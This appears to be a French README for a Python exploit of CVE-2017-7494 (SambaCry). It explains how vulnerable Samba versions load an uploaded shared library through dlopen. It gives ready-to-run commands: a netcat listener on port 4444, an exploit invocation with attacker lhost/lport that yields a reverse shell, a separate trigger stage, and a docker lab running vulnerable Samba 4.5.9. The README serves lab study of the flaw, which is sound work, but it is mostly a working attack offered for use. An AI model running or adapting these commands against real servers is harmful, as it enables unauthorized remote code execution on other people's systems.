
Exploit Python pour CVE-2017-7494 (SambaCry) démontrant l'exécution de code à distance authentifiée en téléversant une bibliothèque partagée malveillante sur un partage Samba et en déclenchant son chargement via dlopen.
CVE-2017-7494/SambaCry permet aux utilisateurs authentifiés de téléverser une bibliothèque partagée dans un dossier accessible en écriture, puis de mener une attaque par exécution en utilisant les bibliothèques téléversées.
SambaCry est une vulnérabilité de validation de chemin dans la manière dont Samba gère les requêtes de named-pipe. En général, ces pipes sont utilisés pour permettre aux programmes de communiquer entre eux en lisant et en écrivant des données via un canal de type fichier.
Lorsque Samba reçoit un nom de pipe inconnu, les versions vulnérables peuvent le traiter comme le nom d'un module chargeable dynamiquement.
Ces modules sont généralement des bibliothèques .so légitimes installées par l'administrateur.
La vulnérabilité permet à un client de fournir un chemin absolu du système de fichiers au lieu d'un nom de module ou de pipe normal. Samba ne restreint pas correctement ce chemin et peut effectivement exécuter : dlopen("/data/example.so", ...);.
Le chargement d'une bibliothèque partagée exécute son code d'initialisation. Par conséquent, un attaquant capable de téléverser un fichier .so malveillant dans un emplacement accessible en écriture peut ensuite forcer le service Samba à le charger, ce qui entraîne une exécution de code à distance.
https://github.com/user-attachments/assets/270c6725-708d-4e72-996a-b6c40e77f010
nc -lvnp 4444
python3 exploit.py --url //127.0.0.1/data --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --lhost 172.26.242.223 --lport 4444 --remote-path /data/payload.so
Pour déclencher un payload déjà téléversé :
python3 exploit.py --stages trigger --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --remote-path /data/payload.so
Utilisez le docker-compose.yml préconfiguré pour initialiser le laboratoire vulnérable.
docker compose up -d
Le laboratoire utilise Samba 4.5.9, qui est vulnérable à cette faille.
3.5.0 - 4.4.13 4.5.0 - 4.5.9 4.6.0 - 4.6.3